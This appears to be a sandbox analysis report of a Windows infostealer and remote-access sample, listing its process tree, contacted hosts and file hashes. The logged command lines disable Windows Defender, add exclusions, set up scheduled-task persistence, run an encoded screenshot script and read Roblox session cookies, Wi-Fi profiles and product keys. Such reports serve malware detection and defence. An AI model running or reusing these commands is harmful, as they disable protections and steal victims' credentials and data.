PID 1728 wrote to memory of 3660 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 4576 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 2900 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 2900 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 4948 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 4948 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 4904 wrote to memory of 2484 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4904 wrote to memory of 2484 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1728 wrote to memory of 748 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 748 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 560 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1728 wrote to memory of 560 N/A C:\Users\Admin\AppData\Roaming\program.exe C:\Windows\system32\cmd.exe
PID 1620 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 1620 wrote to memory of 628 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4008 wrote to memory of 4900 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4008 wrote to memory of 4900 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 748 wrote to memory of 2136 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 748 wrote to memory of 2136 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\reg.exe
PID 4576 wrote to memory of 3652 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 4576 wrote to memory of 3652 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tree.com
PID 3192 wrote to memory of 4444 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3192 wrote to memory of 4444 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3660 wrote to memory of 3012 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3660 wrote to memory of 3012 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2744 wrote to memory of 3656 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2744 wrote to memory of 3656 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 2900 wrote to memory of 4512 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 2900 wrote to memory of 4512 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\attrib.exe
PID 4948 wrote to memory of 1360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 4948 wrote to memory of 1360 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\systeminfo.exe
PID 560 wrote to memory of 4920 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 560 wrote to memory of 4920 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Uses Task Scheduler COM API

persistence

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe

"C:\Users\Admin\AppData\Local\Temp\dc23f531b2e23535601968a1453a45565c9214264d4ef3d016c0a983ed720c30.exe"

C:\Users\Admin\AppData\Roaming\eternal.exe

"C:\Users\Admin\AppData\Roaming\eternal.exe"

C:\Users\Admin\AppData\Roaming\skuld.exe

"C:\Users\Admin\AppData\Roaming\skuld.exe"

C:\Users\Admin\AppData\Roaming\program.exe

"C:\Users\Admin\AppData\Roaming\program.exe"

C:\Windows\system32\attrib.exe

attrib +h +s C:\Users\Admin\AppData\Roaming\skuld.exe

C:\Users\Admin\AppData\Roaming\program.exe

"C:\Users\Admin\AppData\Roaming\program.exe"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\program.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌  ‎.scr'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\program.exe'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌  ‎.scr'

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4ph1yfdb\4ph1yfdb.cmdline"

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDC37.tmp" "c:\Users\Admin\AppData\Local\Temp\4ph1yfdb\CSC9943D41D6C284DF8A366815A61D6E3B4.TMP"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI3482\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\ajFhD.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI3482\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI3482\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\ajFhD.zip" *

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Windows\System32\mousocoreworker.exe

C:\Windows\System32\mousocoreworker.exe -Embedding

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

C:\Users\Admin\AppData\Roaming\XClient.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 gstatic.com udp
GB 142.250.180.3:443 gstatic.com tcp
US 8.8.8.8:53 3.180.250.142.in-addr.arpa udp
US 147.185.221.23:33942 tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discord.com udp
US 162.159.137.232:443 discord.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 232.137.159.162.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 212.20.149.52.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 134.71.91.104.in-addr.arpa udp
US 147.185.221.23:33942 tcp
US 147.185.221.23:33942 tcp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp
US 147.185.221.23:33942 tcp
US 147.185.221.23:33942 tcp
US 8.8.8.8:53 18.173.189.20.in-addr.arpa udp

Files

memory/3968-0-0x00007FF94C153000-0x00007FF94C155000-memory.dmp

memory/3968-1-0x00000000001A0000-0x0000000001336000-memory.dmp

C:\Users\Admin\AppData\Roaming\eternal.exe

MD5 7439cc991a9a756c41153b8e9121baab
SHA1 c62528386e5f62ff2975cc8ed0cad3a7d362e632
SHA256 31a2b821e933bb193d94438d4a5aa036519535336c936d65b66889fb03164e2d
SHA512 cbdfd77671884407f8f4bd9c5251df5d8896b29bd004ea52460eda8a222df7492c69572e044376315624220f3ea66de3aff34323ea281591ca2975f90fa6dd51

memory/1276-13-0x0000000000E90000-0x0000000000EA8000-memory.dmp

memory/1276-14-0x00007FF94C150000-0x00007FF94CC11000-memory.dmp

C:\Users\Admin\AppData\Roaming\skuld.exe

MD5 dbbd2127d1030e4c9548fdf7de9983a7
SHA1 5b7939a94cbd908ad8f57bb2e5328cce657c3700
SHA256 8e3601302c0294914808b6537cd27de961d087ba0807590b981b7f8c8aa5eee6
SHA512 95a1112c9b062745df9c20f566cfcb9421221111d02db0c1a940a5ea230b09c39a487685ae674c350e4641132e3360a19ca0cd8762f7e46cecde8b7dd85fe5d2

C:\Users\Admin\AppData\Roaming\program.exe

MD5 3e6865657b29faea3a355c710f0aad45
SHA1 ad9b98fa0f96685abc17aaab7fe4d65ac8fe34f7
SHA256 2c48f7bc874f1c812c0031519e756c28f940a58b2f64cdb40a08f1ccc798f671
